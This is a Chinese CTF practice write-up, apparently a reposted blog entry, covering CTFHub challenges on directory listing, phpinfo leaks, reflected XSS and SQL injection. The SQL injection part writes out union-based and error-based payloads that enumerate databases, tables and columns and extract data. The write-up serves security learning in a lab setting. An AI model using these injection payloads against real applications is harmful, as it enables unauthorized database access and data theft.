IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFHUUB做题记录(实时更新) -> 正文阅读

[PHP知识库]CTFHUUB做题记录(实时更新)

CTFHUB做题记录

信息泄露

题目一:目录遍历:
题目中出现了四个目录,根据题目提示,点击目录就能获得flag,所以一个一个目录点开,还是没有找到时,继续点击链接第二次进入目录,一步一步点开,根据目录下的内容,就可以获得flag

题目二:phpinfo
phpinfo是php内置函数,用于以网页的形式输出php的具体配置信息,并不存在于某个文件夹中。
用法:bool phpinfo([ int $what=INFO_ALL])
输出php当前状态的大量信息,包含有php编译选项,启用的扩展,php版本,服务器信息和编译环境,PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
phpinfo()常用于系统上检查配置设置和于定义变量
本题中在phpinfo中的环境里可以寻找了到flag

XSS

题目一:反射型
XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。
能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
练习:
了解到:
我们一般用xss的一般用途是为了获取cookie(相当于别人的凭证)获取到别人的cookie之后,不需要输入密码直接登陆即可。
他的题目就是为了获取别人cookie,从而在信息中找到flag
Send URL to Bot :的意思就是获取机器人的信息,模拟别人点击这个包含xss的链接的情形。

sql注入

是指服务器未严格校验客户端发送过来的数据,而导致服务端sql语句呗恶意的修改并成功执行的行为

原因:
代码对带sql语句的sql过滤不严格
未启用框架的安全配置 php的magic_quotes_gpc
未使用框架完全的查询方法
测试接口未删除
未启用防火墙
未使用其他的安全防护设备

漏洞的危害:(任何和数据库交互的地方都有注入)
数据库信息被泄露,网页被篡改
网站被挂马,传播恶意软件
服务器被远程控制被安装后门。

整型注入:
判断是否有注入(判断是否有严格校验)
1,可控参数的改变能否影响页面的结果
2,输入的sql语句时候能够报错,你通过数据库的报错,看到数据库的一些语句痕迹(select username,password from user where id=’?’#’ limit 0,1)
3,输入的sql语句能否不报错,我们的语句能够成功闭合
什么类型的注入
语句是否被恶意修改(where id=1 and 0(为假))
是否能够成功执行
获取我们想要的数据
所有的内容包含在数据库中表里的某个字段的值
mysql有自带的表(mysql,information_schema)
由table_schema查找表table_name再查找表里的column_name某个字段
查询当前数据库名
id=4 union select 1,database()

题目一:整形注入:
判断是否注入:
输入id=1或者id=1’或者id=1 and 2 查看是否报错
输入id=1 order by 1((查询字段数量,根据数字分布列数,上一个数可以执行,在下一个的一个执行时出现错误,这数值为中间那个,采用二分法)

查询sql插入位置:输入id=1 union select1,2…
获取数据库名:把2位置分别修改为database(),version() (版本号)
获取所有数据库名:id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
逐条获取数据库名:select schema_name from information_schema.schemata limit 0,1;

获取数据库所有表名id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
逐条获取数据库表名:select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1;

获取所有字段名;id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
获取一个字段名(以flag为例子)id=-1 union select 1,(select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1)

获取所有数据:id=-1 union select 1,group_concat(flag) from sqli.flag
获取一条数据:

题目二:字符型注入:
格式为1’ union select 1,2 – ’
例如获取一条数据:id=’ union select 1,group_concat(flag) from sqli.flag – ’

题目三:
报错注入:报错注入的原理在于三个函数:count(*),rand(),floor()以及group by
.floor()函数向下取整,去掉小数部分
.rand()是随机取(0,1)中的一个数,但是给它一个参数后0,rand(0),并且传给floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110报错的时候会把数据库名给爆出来。

原理:group by 查询时,先建立一个空表,用来临时存储数据,
开始查询,group by x(建立的一个别名),序列一开始为0,临时空表里不存在就填入,之后 select 中也有rand(),值为1,插入1;
查询第二条,值为1,原有值加1
查第三条,值为0,则插入select的值,为1,与原有值冲突报错
0x26==&;
第一步(获取数据库名):1 Union select count(*),concat(database(),0x26,floor(rand(0)2))x from information_schema.columns group by x;
第二步:(获取表名)(把database()改为):1 Union select count(
),concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x
第三步:获取字段:1 Union select count(
),concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x
第四步,获取数据:1 Union select count(
),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-09 19:14:44  更:2021-11-09 19:15:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:35:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码